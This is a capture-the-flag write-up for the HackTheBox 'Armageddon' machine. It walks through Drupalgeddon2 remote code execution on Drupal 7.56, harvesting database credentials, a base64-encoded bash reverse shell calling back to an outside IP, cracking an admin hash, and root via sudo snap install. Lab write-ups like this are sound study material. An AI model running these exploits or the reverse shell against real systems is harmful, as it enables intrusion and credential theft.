Armageddon

CTF	HackTheBox
Category	Writeup
Created	@July 3, 2021 2:14 AM
Date	
Description	
Fields	Pentest
Level	Easy
Tags	MySQL

Info

Credential

- `brucetherealadmin:booboo`
- `drupaluser:CQHEy@9M*m23gBVj` (MySQL)

Web

- Drupal 7.56
  - Authenticated RCE

System

- hostname: `armageddon.htb` (found in `apache`'s env var)

MySQL

- `drupaluser:CQHEy@9M*m23gBVj`

Path

User

1. The website is built using `Drupal 7.56`, which has a RCE if we can login.

```
$ searchexploit Drupal 7.56
------------------------------------------------------------------------------------------
-- ---------------------------------
 Exploit Title
|  Path
------------------------------------------------------------------------------------------
-- ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)
| php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)
| php/webapps/44542.txt
```

2. After googling for 'drupal 7 exploit', I found `Drupalgeddon2`, which can be used to RCE without authentication. So use it to get shell.

```
/drupalgeddon2.rb $ip
armageddon.htb>> whoami
apache
```

3. Found db credential in `/var/www/html/sites/default/settings.php`

```
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
```

```
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
```

4. Get shell by url encoded base64 reverse shell

```
$ echo "YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi4zLzgwIDA%2BJjEiCg%3D%3D"
| base64 -d | tee /dev/shm/rev.sh
$ sh /dev/shm/rev.sh
```

5. Dump SQL to `/var/www/html`, and download it to local.

```
$ mysqldump -u drupaluser -p --databases drupal > d.sql

# local
$ wget $ip/d.sql
```

6. Found `brucetherealadmin`'s password hash in sql dump, and use john to crack it.

```
$ grep --binary-files=text bruce d.csv
1,brucetherealadmin,$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt,admin@arm
ageddon.eu,"","",filtered_html,1606998756,1607077194,1607076276,1
,Europe/London,"",0,admin@armageddon.eu,"a:1:{s:7:""overlay"";i:1;}"
```

7. Login as Bruce and get user flag.

Root

1. We cam run `snap install` with sudo, so use the method GTFOBins provided to get root flag.

```
$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_r
eset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR
    LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env
_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", e
```

```
nv_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY", secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": XXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXX)
```